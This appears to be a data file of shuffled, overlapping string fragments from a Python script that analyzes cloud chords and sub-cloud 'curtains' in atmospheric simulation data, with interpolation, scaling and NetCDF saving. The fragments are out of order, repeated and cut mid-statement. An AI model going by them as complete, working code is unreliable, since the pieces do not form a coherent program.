"print('no cloudy columns apparently') var_pdf = var_hist_sum save_string_base = '_pdf_'+date+'_d'+str(data_dim_flag)+'_an'+str(anomaly_flag)",
"',n_chords) print('number of time points included: ',len(cbl_cl_idx)) #Does it matter",
"t_1d*0 + total_surf_buoy_flux[it] qtflux_s_1d = t_1d*0 + total_surf_qt_flux[it] thlflux_s_1d =",
"and v and their scaling u_ref_prof = file_prof['u'][it,:] v_ref_prof =",
"#I will try to keep it at least somewhat general",
"+= var_curtain_tmp else: print('wtf how is this zero: ',np.mean(w_tmp),w_tmp) #globals().update(locals())",
"that call the function repeatedly #Should be able to work",
"regularized # plot_curtains_flag: 0 nothing, 1 plots pre and post",
"regularized grid with the correct vertical but low/original horizontal/time resolution",
"25 percentile in agreement with Neil if data_dim_flag==3: z_idx_base_default =",
"file_prof['qtflux'][:,1] time_prof = file_prof['time'][:] cbl_1d_prof = time_prof*0.0 #Hack together the",
"variable below cloud base #Both have a large overlap, but",
"min(n_iter,N_it_max) for it in range(N_it_min,n_iter): time1 = ttiimmee.time() if data_dim_flag",
"u>0. Is set to 0 if data_dim_flag==1 # 1 the",
"= ttiimmee.time() print('total run time of proc_beard_regularize in minutes: ',(time_end-time_begin)/60.)",
"scale_flag == 1: #a new reference level is com scaling_factor_x",
"directly from the cloud base speeds if data_dim_flag==1: ch_idx_l =",
"= cbl_1d_prof[it] else: #If no clouds are present we pass",
"print(':') print(':') time_end = ttiimmee.time() print('total run time of proc_beard_regularize",
"= file_col.variables['v'][:] v_2d = v_2d.transpose() #lets try saving memory by",
"N_it_min = start number of iterables, 3D timesteps or column",
"= (thl_2d.transpose() - thl_prof[it,:]).transpose() #to get the fake time vector",
"the cells are connected while t_cloudy_idx < len(cbl_cl_idx)-1 and (cbl_cl_idx[t_cloudy_idx+1]==cbl_cl_idx[t_cloudy_idx]+1",
"then for the 3D version. Will have to calculate a",
"index of the next cloudy cell is the same as",
"boundary scaling total_surf_buoy_flux = file_prof['bflux'][:,1] total_surf_thl_flux = file_prof['thlflux'][:,1] total_surf_qt_flux =",
"the reference lvl ref_idx = np.mean(cl_base[cbl_cl_idx]) if scale_flag == 1:",
"for testing things quickly # N_it_min = start number of",
"=np.asarray(chord_duration) chord_length =np.asarray(chord_length) chord_height =np.asarray(chord_height) chord_w_base =np.asarray(chord_w_base) chord_w_star =np.asarray(chord_w_star) chord_thl_star",
"include everything available, but this might break the memory bank",
"1: t_gap = 0.#No gaps allowed! t_min = 0 t_max",
"be regularized # plot_curtains_flag: 0 nothing, 1 plots pre and",
"t_cloudy_idx += 1 time3 = ttiimmee.time() print('iterable: ',it) print('n_chords: ',n_chords)",
"all cloudy timesteps #As long as the difference to the",
"the next index in total, if so the cells are",
"var_3d gc.collect() #Switching to anomalies if anomaly flag is used",
"'plot_curtains_flag' :plot_curtains_flag, 'base_percentile':base_percentile, 'special_name':special_name, 'scale_flag':scale_flag, 'chord_times':chord_times, 'anomaly_flag':anomaly_flag, 'N_it_max':N_it_max, 'N_it_min':N_it_min, 'size_bin_flag':size_bin_flag,",
"var_pdf = var_hist_sum save_string_base = '_pdf_'+date+'_d'+str(data_dim_flag)+'_an'+str(anomaly_flag) if N_it_min>0: save_string_base =",
"#If curtain has more than curtain_min cells and curtain tail",
"'regularized time'), var_curtain_up_sum.transpose()/n_curtain_up), reg_var+'_dw':(('regularized height', 'regularized time'), var_curtain_dw_sum.transpose()/n_curtain_dw)}, coords={'regularized time':t_reg_mid,",
"glob.glob(directory_input+date+'/*.column.*.*.*.nc') for c_file in column_files: filename_column.append(c_file) print('filename column included:',c_file) if",
"mid size bin bin_idx = np.where(np.abs(chord_length-mid_bin_size)<125)[0] if bin_idx.size>0: #print('bin_idx,chord_length',bin_idx,chord_length) n_curtain_bin[bin_idx]",
"time_end_curtain = t_1d[idx_end_curtain] chord_cells = t_chord_end-t_chord_begin curtain_cells = idx_end_curtain-idx_beg_curtain #If",
"scaling factor_x: ',scaling_factor_x,' scaling factor_y: ',scaling_factor_y, ' int(ref_idx): ',int(ref_idx)) if",
"== 1: #Now adding the boundary scaling using w* surf_flux",
"column output, or for any 3D variable as long as",
"kind='nearest') try: var_reg_inter = f(z_reg_mid) except: print(z_idx_base[i]) print(z_reg_orig) print(z_reg_mid) var_t_low_z_high[i-idx_beg_curtain,:]",
"needed, as all chord properties should be indepenent of wind",
"t_1d = np.zeros(1) #The needed cbl height, which constant everywhere",
"print('saved beard data to '+save_string) if size_bin_flag==1: xr_dataset = xr.Dataset(",
"cloudy columns apparently') var_pdf = var_hist_sum save_string_base = '_pdf_'+date+'_d'+str(data_dim_flag)+'_an'+str(anomaly_flag) if",
"= file_col.variables['time'][:] print('t_1d',t_1d) #Load the var file, even if means",
"or qt'/qt* time_begin = ttiimmee.time() dz = 25.0 #39.0625 #Is",
"####################################GO HERE TO SET MAXIMUM CURTAIN #print(t_chord_begin) t_chord_begin = t_cloudy_idx",
"np.hstack([scaling_factor_y_prof[0],scaling_factor_y_prof]) #1D vertical interpolation to get the right columns and",
"= t_1d*0 #dt_1d[1:] = t_1d[1:]-t_1d[:-1] else: #If no clouds are",
"cbl_cl_binary = cl_base*0 cbl_cl_binary[cbl_cl_idx]=1 t_cbl_cl=t_1d[cbl_cl_idx] #Scaling between x and y",
"if scaling_factor>0: var_curtain_tmp = var_curtain_tmp[::-1,:] var_curtain_tmp = abs(scaling_factor) * var_curtain_tmp",
"input_2d_field[:,idx_beg_curtain:idx_end_curtain] nz = var_orig_2d.shape[0] z_reg_orig_top = d_z_tmp*nz- d_z_tmp/2 z_reg_orig =",
"as xr #turned into a function #removed the possibility to",
"and chord_z_min > 4: if t_chord_end-t_chord_begin>cell_min-1: n_chords += 1 #Getting",
"lowest bin should be empty, because we only calculate curtains",
"the duration of the chordlength is lower than t_min or",
"next cloudy timestep is lower than t_gap it counts as",
"heigher than 0.6 domain height, could crash regularization later on,",
"difference to the next cloudy timestep is lower than t_gap",
"thl'/thl*, or qt'/qt* time_begin = ttiimmee.time() dz = 25.0 #39.0625",
"#print(t_chord_begin) t_chord_begin = t_cloudy_idx #now connecting all cloudy indexes #Originally",
"each side to make interpolation easy idx_beg_curtain = (np.abs(t_1d -",
"xr_dataset.attrs = settings_dict #Making save string save_string_base = '_beard_'+date+'_d'+str(data_dim_flag)+'_cb'+str(base_smoothing_flag)+'_an'+str(anomaly_flag)+'_ct'+str(chord_times)+'_ce'+str(int(curtain_extra)) if",
"#Have to add 0 to the z_reg_orig to enable interpolation",
"= 6.112*100 * np.exp(17.67 * (T - 273.15) / (T",
"per','w per up', 'w star','thl star','qt star', 'thl','thl 25','thl 75','qt','qt",
"closet mean profile for tt in range(len(time_prof)): #globals().update(locals()) tmp_matrix =",
"get anomalies we subtract the closet mean profile if anomaly_flag==1:",
"now a bit trickier then for the 3D version. Will",
"reall makes sense for 3D to avoid some weird initial",
"each other they are always counted as consecutive, not matter",
"to mid size bin bin_idx = np.where(np.abs(chord_length-mid_bin_size)<125)[0] if bin_idx.size>0: #print('bin_idx,chord_length',bin_idx,chord_length)",
"data_dim_flag: 1 = column, 3 = 3D snapshot # chord_times:",
"var_hist_sum=np.zeros(N_bins) date = date_str #value used to determine existence of",
"if data_dim_flag==1. Is calculated directly from the cloud base speeds",
"time resolution #we use the calculated cbl+300 meter or lcl",
"to '+save_string) print(':') print(':') print(':') print(':') print(':') print(':') print(':') print(':')",
"',it) ql_3d = grab_3d_field(file_ql ,it,'ql') w_3d = grab_3d_field(file_w ,it,'w') var_3d",
"print('looking into date: ',date) if data_dim_flag==1: filename_column = [] #uses",
"chord_w_up =np.asarray(chord_w_up) chord_w_flux =np.asarray(chord_w_flux) chord_thl =np.asarray(chord_thl) chord_thl_25 =np.asarray(chord_thl_25) chord_thl_75 =np.asarray(chord_thl_75)",
"parameters, #set super strict if chord_times == 1: t_gap =",
"=np.asarray(chord_w) chord_w_up =np.asarray(chord_w_up) chord_w_flux =np.asarray(chord_w_flux) chord_thl =np.asarray(chord_thl) chord_thl_25 =np.asarray(chord_thl_25) chord_thl_75",
"0 if data_dim_flag==1 # 1 the ref_lvl used is determined",
"mpl_toolkits.axes_grid1 import make_axes_locatable import pickle import sys #sys.path.insert(0, \"/home/pgriewank/code/2019-chords-plumes/\") #from",
"#Both have a large overlap, but I split them in",
"LCL_index = np.floor(LCL/dz) #now calculate the cbl top for each",
"chord_w_star,chord_thl_star,chord_qt_star, chord_thl,chord_thl_25,chord_thl_75,chord_qt,chord_qt_25,chord_qt_75)) df = pd.DataFrame(data = data_for_panda, columns=['timesteps','duration','length','height','w_base','w','w_flux','time','w up','w per','w",
"df.to_pickle(filename_chord_panda) time_end = ttiimmee.time() print('total run time of proc_chords in",
"added to rotate the curtain to point upwind. #TODO #plot_flag",
"base_percentile # base_percentile: percentile used to find chordlength bottom #",
"used to determine existence of cloud z_min = 10 #Index",
"[] chord_height = [] #percentile of cloud base chord_w =",
"of minimum z_vlvl of the cbl #Flag clean up if",
"settings_dict = { 'reg_var': reg_var, 'date_str':date_str, 'directory_input':directory_input, 'data_dim_flag':data_dim_flag, 'base_smoothing_flag':base_smoothing_flag, 'plot_curtains_flag'",
"= grab_3d_field(file_var ,it,reg_var) #Here we have to do all the",
"no clouds are present if scale_flag > 0 and t_1d.shape[0]>3:",
"cells needed per chord # #1D clustering parameters, #set super",
"=np.asarray(chord_qt_star) chord_w =np.asarray(chord_w) chord_w_up =np.asarray(chord_w_up) chord_w_flux =np.asarray(chord_w_flux) chord_thl =np.asarray(chord_thl) chord_thl_25",
"needed cbl height cbl_1d = t_1d*0 bflux_s_1d = t_1d*0 qtflux_s_1d",
"'length':mid_bin_size}) xr_dataset[reg_var].attrs['n'] =n_curtain_bin xr_dataset[reg_var+'_up'].attrs['n'] =n_curtain_bin_up xr_dataset[reg_var+'_dw'].attrs['n'] =n_curtain_bin_dw xr_dataset.attrs = settings_dict",
"1, since z_idx_base is the same everywhere I just use",
"one to w_x_low_z_high f_x = interp1d(z_reg_orig, scaling_factor_x_prof_ext, kind='nearest') f_y =",
"data_dim_flag=1, base_percentile = 25, special_name='', chord_times = 0, N_it_min=0, N_it_max=1e9):",
"columns of the original curtain a vertical interpolation is done",
"#Creating regularized grid. d_reg = 0.005 n_z_reg = int(1.5/d_reg) n_t_reg",
"we start the interpolation stuff #Getting the chord beginning and",
"to 0 if data_dim_flag==1 # 1 the ref_lvl used is",
"SIZE BINNING ############################################################################################################## ############################################################################################################################################### if size_bin_flag: #getting V_ref if data_dim_flag==1.",
"end idx_beg_chord = cbl_cl_idx[t_chord_begin] idx_end_chord = cbl_cl_idx[t_chord_end] time_beg_chord = t_1d[idx_beg_chord]",
"= np.linspace(-0.5-curtain_extra+d_reg/2,0.5+curtain_extra-d_reg/2 ,n_t_reg) z_reg_bound = np.linspace(0,1.5 ,n_z_reg+1) z_reg_mid = np.linspace(0+d_reg/2,1.5-d_reg/2",
"loop over multiple dates, if you want to do that",
"range(N_it_min,n_iter): time1 = ttiimmee.time() if data_dim_flag ==1: print('loading column: ',filename_column[it])",
"for a loooong time as well if chord_times == 1:",
"column_files = glob.glob(directory_input+date+'/*column*.nc') for c_file in column_files: filename_column.append(c_file) print('filename column",
"print(':') #Replacing saving with xarray xr_dataset = xr.Dataset( data_vars =",
"= file_prof['bflux'][:,1] total_surf_thl_flux = file_prof['thlflux'][:,1] total_surf_qt_flux = file_prof['qtflux'][:,1] print('dz: ',dz)",
"base as done my Neil, 1: smooth out base after",
"cells are connected while t_cloudy_idx < len(cbl_cl_idx)-1 and (cbl_cl_idx[t_cloudy_idx+1]==cbl_cl_idx[t_cloudy_idx]+1 or",
"lcl as reference height ref_lvl = cbl_1d_prof[it] else: #If no",
"and i<idx_end_chord and cl_base[i]<cbl_1d[i]: z_idx_base[i] = cl_base[i] #Here the smoother",
"properties should be indepenent of wind direction (right?) #Similarly, no",
"p = file_prof['p'][:,0]*0.0+99709 qt = file_prof['qt'][:,0] w2 = file_prof['w2'][:,:] nz_prof",
"curtains when at least curtain_min is used # curtain_extra: Regularized",
"#I originally used interp2d, tried griddata but it was a",
"base_smoothing_flag: 0 use mix of percentile and cloud base as",
"print('dz: ',dz) time_prof = file_prof['time'][:] cbl_1d_prof = time_prof*0.0 #Hack together",
"t_reg_orig = t_1d[idx_beg_curtain:idx_end_curtain]-(time_beg_chord+time_end_chord)/2. t_reg_orig = t_reg_orig/(time_end_chord-time_beg_chord) #Now we calculate the",
"= np.transpose(var_3d, (0, 2, 1)) #globals().update(locals()) w_2d = np.hstack([w_2d ,np.array(w_3d.reshape((nz,nx*ny)))])",
"as it is. 1 use reg_var - profile. Works easiest",
"chordlength is created which is a list of all timesteps",
"= pd.DataFrame(data = data_for_panda, columns=['timesteps','duration','length','height','w_base','w','w_flux','time','w up','w per','w per up', 'w",
"chord_z_min = 0 ch_duration = 0 if ch_duration>t_min and ch_duration<t_max",
"np.zeros((nz,1)) qt_2d = np.zeros((nz,1)) t_1d = np.zeros(1) #The needed cbl",
"extend before #I added 2 cells buffer at the beginning",
"of minimum z_vlvl of the cbl print('looking into date: ',date)",
"= np.transpose(qt_3d, (0, 2, 1)) thl_3d = np.transpose(thl_3d, (0, 2,",
"original resolution #It is expected to go a bit beyond",
"bit to to each side to make interpolation easy idx_beg_curtain",
"[] chord_thl_75 = [] chord_qt = [] chord_qt_25 = []",
"1d_flag needs to use the closet mean profile # directory_input",
"= file_prof['thl'][:,0] p = file_prof['p'][:,0]*0.0+99709 qt = file_prof['qt'][:,0] w2 =",
"t_chord_end = t_cloudy_idx #Checking if it fulfils chord criteria regaring",
"25, special_name='', scale_flag=2, chord_times = 0, anomaly_flag = 0, N_it_max=1e9,",
"or the beginning extend before #I added 2 cells buffer",
"a flexible variable def proc_pdf(reg_var = 'w', date_str='20160611', directory_input ='/data/testbed/lasso/sims/',",
"to avoid some weird initial fields. time_begin = ttiimmee.time() dz",
"del w_3d del ql_3d del var_3d gc.collect() #Switching to anomalies",
"which calculates a histogram below the cloud base and saves",
"percentiles = np.array([5,10,35,50,65,90,95]) #1D clustering parameters in seconds, taken to",
"base height version if base_smoothing_flag==2: #Regularizing the z axes so",
"scaling factor_y: ',scaling_factor_y, ' int(ref_idx): ',int(ref_idx)) if scale_flag == 2:",
"= 3D snapshot # chord_times: 0 use Neils values, use",
"well if chord_times == 1: t_gap = 0. #should be",
"if idx_end_curtain<nt-2 and idx_beg_curtain>2 and len(cbl_cl_idx[t_chord_begin:t_chord_end])>curtain_min-1: n_curtain += 1 #First",
"output, or for any 3D variable as long as it",
"run time of proc_beard_regularize in minutes: ',(time_end-time_begin)/60.) print(':') print(':') print(':')",
"del w_3d del ql_3d del var_3d gc.collect() #fake t vector,",
"aren't needed anymore, not sure if that helps save any",
"np.vstack([chord_w_per,tmp_w_per]) chord_w_per_up = np.vstack([chord_w_per,tmp_w_per_up]) if data_dim_flag==1: chord_time.append(np.mean(t_1d[ch_idx_l])) if data_dim_flag==3: chord_time.append(time_prof[it])",
"scaling_factor_x_prof[int(ref_idx)] scaling_factor_y = scaling_factor_y_prof[int(ref_idx)] print('Scaling flag 1: scaling factor_x: ',scaling_factor_x,'",
"chord time requirements and have a number of values which",
"ttiimmee.time() print('total run time of proc_chords in minutes: ',(time_end-time_begin)/60.) print(':')",
"play: #We started with a simple 5 cell running mean,",
"nz_prof = w2.shape[1] var_prof = file_prof[reg_var][:,:] #needed for anomaly processing",
"#n_chords = 0 chord_idx_list = [] print('iterating through step ',it,'which",
"it counts as the same cloud #As an additional contraint,",
"add it to the mean one and track one more",
"elif np.mean(w_tmp)<0.: n_curtain_bin_dw[bin_idx] += 1 var_curtain_bin_dw_sum[bin_idx,:,:] += var_curtain_tmp else: print('wtf",
"for it in range(N_it_min,n_iter): time1 = ttiimmee.time() if data_dim_flag ==1:",
"using a profile # # base_smoothing_flag: 0 use mix of",
"u_ref_prof/V_ref_prof scaling_factor_y_prof = v_ref_prof/V_ref_prof #Using the mean cloud base height",
"#getting V_ref if data_dim_flag==1. Is calculated directly from the cloud",
"* var_curtain_tmp if scale_flag==2: if idx_end_curtain<nt/2: scaling_factor_prof = 2*scaling_factor_x_inter else:",
"number of cells needed per chord # #1D clustering parameters,",
"with not gap possible # anomaly_flag: 0 use reg_var as",
"if idx_end_curtain<nt/2: scaling_factor = 2*scaling_factor_x else: scaling_factor = 2*scaling_factor_y if",
"of LCL +100 or variance plus 300 m cbl_1d_prof[tt] =",
"t_min = 0 t_max = 1e9 cell_min = 10 #Minimal",
"SET MAXIMUM CURTAIN #print(t_chord_begin) t_chord_begin = t_cloudy_idx #now connecting all",
"+= 1 #chord_idx_list.append(list(cbl_cl_idx[t_chord_begin:t_cloudy_idx])) #Here we start the interpolation stuff #Getting",
"time_end_chord = t_1d[idx_end_chord] #chord_idx_list.append(list(cbl_cl_idx[t_chord_begin:t_chord_end])) #list of relevant chord indexes ch_idx_l",
"= file_prof['qtflux'][:,1] time_prof = file_prof['time'][:] cbl_1d_prof = time_prof*0.0 #Hack together",
"my variables to func_curtain_reg so I instead made it a",
"base is at 1, since z_idx_base is the same everywhere",
"scaling using w* #Is a bit overcooked currently as it",
"min(z+300/dz,LCL_index[tt]) #To avoid issues later on I set the maximum",
"have a different method using nans that doesn:t work anymore",
"chord_w_up = [] #mean over updrafts chord_w_base = [] chord_w_star",
"np.where((cl_base-cbl_1d[:nt])*dz<0)[0] cbl_cl_binary = cl_base*0 cbl_cl_binary[cbl_cl_idx]=1 t_cbl_cl=t_1d[cbl_cl_idx] ### Clustering 1D #Now",
"on all my variables to func_curtain_reg so I instead made",
"= 'w', date_str='20160611', directory_input='/data/testbed/lasso/sims/', directory_output = 'data_curtains/', data_dim_flag=1, base_smoothing_flag=2, plot_curtains_flag",
"the z axes so that cloud base is at 1",
"the same everywhere. surf_flux = np.mean(bflux_s_1d) base_height = z_idx_base_default*dz w_star=(base_height*surf_flux)**(1/3)",
"of u and v and their scaling u_ref_prof = file_prof['u'][it,:]",
"xarray as xr #turned into a function #removed the possibility",
"is com scaling_factor_x = scaling_factor_x_prof[int(ref_idx)] scaling_factor_y = scaling_factor_y_prof[int(ref_idx)] print('Scaling flag",
"to pass on all my variables to func_curtain_reg so I",
"is scaled accordingly #Only called if there are any clouds",
"perfectly align var_2d[:,abs(t_1d-time_prof[tt])<dt_2] = (tmp_matrix.transpose() - tmp_vector).transpose() # = var_2d[:,abs(t_1d-time_prof[tt])<dt_2]-var_prof[tt,:]",
"w_star if reg_var=='qt': surf_flux = np.mean(qtflux_s_1d[idx_beg_chord:idx_end_chord]) boundary_scaling = surf_flux/w_star if",
"+= var_curtain_tmp elif np.mean(w_tmp)<0.: n_curtain_dw += 1 var_curtain_dw_sum += var_curtain_tmp",
"the beginning extend before #I added 2 cells buffer at",
"field, use to be an either or, now just add",
"chord_thl =np.asarray(chord_thl) chord_thl_25 =np.asarray(chord_thl_25) chord_thl_75 =np.asarray(chord_thl_75) chord_qt =np.asarray(chord_qt) chord_qt_25 =np.asarray(chord_qt_25)",
"global and local variables def func_curtain_reg(input_2d_field): #function regularizes to cloud",
"'reg_var': reg_var, 'date_str':date_str, 'directory_input':directory_input, 'data_dim_flag':data_dim_flag, 'base_smoothing_flag':base_smoothing_flag, 'plot_curtains_flag' :plot_curtains_flag, 'base_percentile':base_percentile, 'special_name':special_name,",
"np.transpose( w_3d, (0, 2, 1)) ql_3d = np.transpose(ql_3d, (0, 2,",
"w_x_low_z_high we have to interpolate 2D onto the rull regularized",
"interpolation a bit of overlap is used. if idx_end_curtain<nt-2 and",
"np.histogram(var_cl_base,range=range_var,bins=N_bins) var_hist_sum = var_hist_sum+var_hist else: print('no cloudy columns apparently') var_pdf",
"print(':') print(':') print(':') print(':') print(':') return #A simple script which",
"date: ',date) if data_dim_flag==1: filename_column = [] #uses glob to",
"columns=['timesteps','duration','length','height','w_base','w','w_flux','time','w up','w per','w per up', 'w star','thl star','qt star', 'thl','thl",
"currently dissabled # data_dim_flag: 1 = column, 3 = 3D",
"plot_curtains_flag: 0 nothing, 1 plots pre regularization plots, currently dissabled",
"= cl_base*0 cbl_cl_binary[cbl_cl_idx]=1 t_cbl_cl=t_1d[cbl_cl_idx] ### Clustering 1D #Now we simply",
"smooth out base after setting it with running average 2:",
"= np.min(cl_base[cbl_cl_idx[t_chord_begin:t_chord_end]]) chord_duration = t_cbl_cl[t_chord_end]-t_cbl_cl[t_chord_begin] else: chord_z_min = 0 chord_duration",
"if size_bin_flag: #getting V_ref if data_dim_flag==1. Is calculated directly from",
"glob.glob(directory_input+date+'/*column*.nc') for c_file in column_files: filename_column.append(c_file) print('filename column included:',c_file) if",
"z_reg_orig = np.hstack([[0],z_reg_orig]) var_orig_col = np.hstack([var_orig_col[0],var_orig_col]) #1D vertical interpolation to",
"are present if scale_flag > 0 and t_1d.shape[0]>3: #calculate the",
"flag is set the pre regularization curtains are plotted. if",
"scale_flag==2: if idx_end_curtain<nt/2: scaling_factor_prof = 2*scaling_factor_x_inter else: scaling_factor_prof = 2*scaling_factor_y_inter",
"fuckery to turn the 3D fields into 2d slices with",
"the cloud is over, and a chordlength is created which",
"script from getting to confusing. import numpy as np import",
"= 1.0, chord_max = 1e9, boundary_scaling_flag = 0 ): #",
"# 1 the ref_lvl used is determined from the mean",
"print(z_reg_orig) print(z_reg_mid) var_t_low_z_high[i-idx_beg_curtain,:] = var_reg_inter #Now that w_x_low_z_high we have",
"relevant chord indexes ch_idx_l = list(cbl_cl_idx[t_chord_begin:t_chord_end]) #getting V_ref if data_dim_flag==1.",
"axis but for original resolution #It is expected to go",
"thl_2d[:,abs(t_1d-time_prof[tt])<dt_2] = (tmp_matrix.transpose() - tmp_vector).transpose() tmp_matrix = qt_2d[:,abs(t_1d-time_prof[tt])<dt_2] tmp_vector =",
"the curtain to point upwind. #TODO #plot_flag disabled for the",
"originally used interp2d, tried griddata but it was a lot",
"if means that we doable load w_2d or ql_2d var_2d",
"Is skipped if there are less than 2 timesteps, which",
"now just add it on w_3d = np.transpose( w_3d, (0,",
"0 nothing, 1 uses the surface fluxes and cloud base",
"field it will always go over x and y directions",
"I havent implemented star scaling for 1d data') sys.exit() #Now",
"reg_var=='qt': surf_flux = np.mean(qtflux_s_1d) boundary_scaling = surf_flux/w_star if reg_var=='thl': thl_flux",
"1)) ql_3d = np.transpose(ql_3d, (0, 2, 1)) qt_3d = np.transpose(qt_3d,",
"chord beginning and end idx_beg_chord = cbl_cl_idx[t_chord_begin] idx_end_chord = cbl_cl_idx[t_chord_end]",
"pre and post regularization plots of reg_var # data_dim_flag: 1",
"#default version for variable base height if base_smoothing_flag<2: #Now for",
"lengths with more than t_min which are mostly gaps. t_cloudy_idx",
"special_name='', chord_times = 0, N_it_min=0, N_it_max=1e9): # plot_curtains_flag: 0 nothing,",
"reg_var+save_string_base +'.nc' xr_dataset.to_netcdf(save_string) print('saved beard data to '+save_string) if size_bin_flag==1:",
"0 nothing, 1 plots pre and post regularization plots of",
"snapshots and allocate the closest full time values to the",
"any memory though del w_3d del ql_3d del var_3d gc.collect()",
"is used if anomaly_flag==1: #because the vectors don't perfectly align",
"other they are always counted as consecutive, not matter the",
"and after in the curtain, default is 1 # chord_max:",
"plot_curtains_flag: 0 nothing, 1 plots pre and post regularization plots",
"3D timesteps or column files. Used for testing things quickly",
"v_2d = file_col.variables['v'][:] v_2d = v_2d.transpose() #lets try saving memory",
"dz = 25.0 #39.0625 #Is recalculated from the profile file",
"z_vlvl of the cbl #z_min = 0 #Index of minimum",
"#z_min = 0 #Index of minimum z_vlvl of the cbl",
"but low/original horizontal/time resolution #mesh_t_low_z_high_x,mesh_t_low_z_high_z = np.meshgrid(t_reg_orig,z_reg_mid) #seems not to",
"the z_reg_orig to enable interpolation z_reg_orig = np.hstack([[0],z_reg_orig]) var_orig_2d =",
"z_reg_orig to enable interpolation z_reg_orig = np.hstack([[0],z_reg_orig]) var_orig_2d = np.vstack([var_orig_2d[0,:],var_orig_2d])",
"= 0 n_curtain_up = 0 n_curtain_dw = 0 #for col",
"(time_beg_chord-curtain_extra*(time_end_chord-time_beg_chord)))).argmin()-1 idx_end_curtain = (np.abs(t_1d - (time_end_chord+curtain_extra*(time_end_chord-time_beg_chord)))).argmin()+2 idx_end_curtain = min(idx_end_curtain,nt-1) time_beg_curtain",
"time, then scales it by 1/(time_end_chord-time_beg_chord) t_reg_orig = t_1d[idx_beg_curtain:idx_end_curtain]-(time_beg_chord+time_end_chord)/2. t_reg_orig",
"this zero: ',np.mean(w_tmp),w_tmp) ############################################################################################################################## #PLOTS ############################################################################################################################## #If the plot flag",
"will try lists first, which I will then convert to",
"np.hstack([ql_2d ,np.array(ql_3d.reshape((nz,nx*ny)))]) thl_2d = np.hstack([thl_2d ,np.array(thl_3d.reshape((nz,nx*ny)))]) qt_2d = np.hstack([qt_2d ,np.array(qt_3d.reshape((nz,nx*ny)))])",
"ttiimmee from scipy.interpolate import interp1d from scipy.interpolate import interp2d #from",
"a fourth and 3/4 of the cloud base cl_base_25_idx =",
"w_2d or ql_2d var_2d = file_col.variables[reg_var][:] var_2d = var_2d.transpose() #The",
"interp1d(z_reg_orig, scaling_factor_x_prof_ext, kind='nearest') f_y = interp1d(z_reg_orig, scaling_factor_y_prof_ext, kind='nearest') scaling_factor_x_inter =",
"using 8 bins of 250 meters length to get started.",
"== 'w': var_2d = w_2d if reg_var == 'ql': var_2d",
") chord_w_base.append(np.mean(w_2d[cl_base[ch_idx_l],ch_idx_l])) chord_w.append(np.mean(w_2d[cl_base[ch_idx_l]-1,ch_idx_l])) chord_thl.append(np.mean(thl_2d[cl_base[ch_idx_l]-1,ch_idx_l])) #get a fourth and 3/4 of",
"out fog/dew stuff at the surface if t_chord_end-t_chord_begin>cell_min: chord_z_min =",
"#Here we start the interpolation stuff #Getting the chord beginning",
"where no cloud present z_idx_base=cl_base*1.0+0.0 z_idx_base[:] = z_idx_base_default for i",
"thlflux_s_1d[abs(t_1d-time_prof[tt])<dt_2] = total_surf_thl_flux[tt] #to get anomalies of thl and qt",
"def proc_beard_regularize(reg_var = 'w', date_str='20160611', directory_input='/data/testbed/lasso/sims/', directory_output = 'data_curtains/', data_dim_flag=1,",
"we doable load w_2d or ql_2d var_2d = file_col.variables[reg_var][:] var_2d",
"nearest value to the full 1d time vec #First loading",
"1200*100 #Made a 100 times longer cell_min = 3 #Minimal",
"* alpha) / (A - alpha) dewpoint = dewpoint +",
"var_curtain_tmp[::-1,:] var_curtain_tmp = abs(scaling_factor) * var_curtain_tmp if scale_flag==2: if idx_end_curtain<nt/2:",
"and their scaling u_ref_prof = file_prof['u'][it,:] v_ref_prof = file_prof['v'][it,:] V_ref_prof",
"surface if t_chord_end-t_chord_begin>cell_min: chord_z_min = np.min(cl_base[cbl_cl_idx[t_chord_begin:t_chord_end]]) chord_duration = t_cbl_cl[t_chord_end]-t_cbl_cl[t_chord_begin] else:",
"1 the ref_lvl used is determined from the mean cloud",
"one by one to w_x_low_z_high f_x = interp1d(z_reg_orig, scaling_factor_x_prof_ext, kind='nearest')",
"= save_string_base+'_Nmax'+str(n_iter) if boundary_scaling_flag==1: save_string_base = 'star'+save_string_base save_string_base = save_string_base+'_'+special_name+'_N'+str(n_curtain)",
"number of iterables, 3D timesteps or column files. Only reall",
"UnionFind from cusize_functions import * #import matplotlib.pyplot as plt import",
"# anomaly_flag: 0 use reg_var as it is. 1 use",
"files which contain column. column_files = glob.glob(directory_input+date+'/*column*.nc') for c_file in",
"t_1d = np.linspace(0,2*nx*ny*time_resolution,2*nx*ny)#+nx*ny*time_resolution*it #dt_1d = t_1d*0 #dt_1d[1:] = t_1d[1:]-t_1d[:-1] else:",
"for i in range(idx_beg_chord-N,idx_end_chord+N): z_idx_base_smooth[i] = sum(z_idx_base[i-N:i+N])/(2*N) z_idx_base[:] = z_idx_base_smooth[:]",
"ql_2d = np.zeros((nz,1)) w_2d = np.zeros((nz,1)) var_2d = np.zeros((nz,1)) t_1d",
"f_x = interp1d(z_reg_orig, scaling_factor_x_prof_ext, kind='nearest') f_y = interp1d(z_reg_orig, scaling_factor_y_prof_ext, kind='nearest')",
"= Dataset(filename_prof,read='r') extra_string = '' #This now a bit trickier",
"chord_qt =np.asarray(chord_qt) chord_qt_25 =np.asarray(chord_qt_25) chord_qt_75 =np.asarray(chord_qt_75) chord_time =np.asarray(chord_time) #Saving print('all",
"everywhere. surf_flux = np.mean(bflux_s_1d) base_height = z_idx_base_default*dz w_star=(base_height*surf_flux)**(1/3) if reg_var=='w':",
"step ',it,'which contains ',len(cbl_cl_idx),'cloudy columns') chord_idx_list = [] while t_cloudy_idx",
"ch_idx_l = list(cbl_cl_idx[t_chord_begin:t_chord_end]) #getting V_ref if data_dim_flag==1. Is calculated directly",
"- tmp_vector).transpose() # = var_2d[:,abs(t_1d-time_prof[tt])<dt_2]-var_prof[tt,:] if data_dim_flag ==3: if sum(file_prof['ql'][it,:])>0.0:",
"no basedefinition is needed, all values are relative to cloud",
"#Is recalculated from the profile file later on dx =",
"1 # chord_max: Maximum number of chords. If data_dim_flag=3 it",
"a good way to do this, will throw up an",
"= var_prof[tt,:] #because the vectors don't perfectly align var_2d[:,abs(t_1d-time_prof[tt])<dt_2] =",
"disabled for the mean time def proc_beard_regularize(reg_var = 'w', date_str='20160611',",
"column_files = glob.glob(directory_input+date+'/*.column.*.*.*.nc') for c_file in column_files: filename_column.append(c_file) print('filename column",
"z_min = 10 #Index of minimum z_vlvl of the cbl",
"Clustering 1D #Now we simply go through all cloudy timesteps",
"files. Used for testing things quickly # N_it_min = start",
"#39.0625 #Is recalculated from the profile file later on dx",
"getting to confusing. import numpy as np import math from",
"(T- 273.15)) / (B + (T-273.15))) alpha = alpha +",
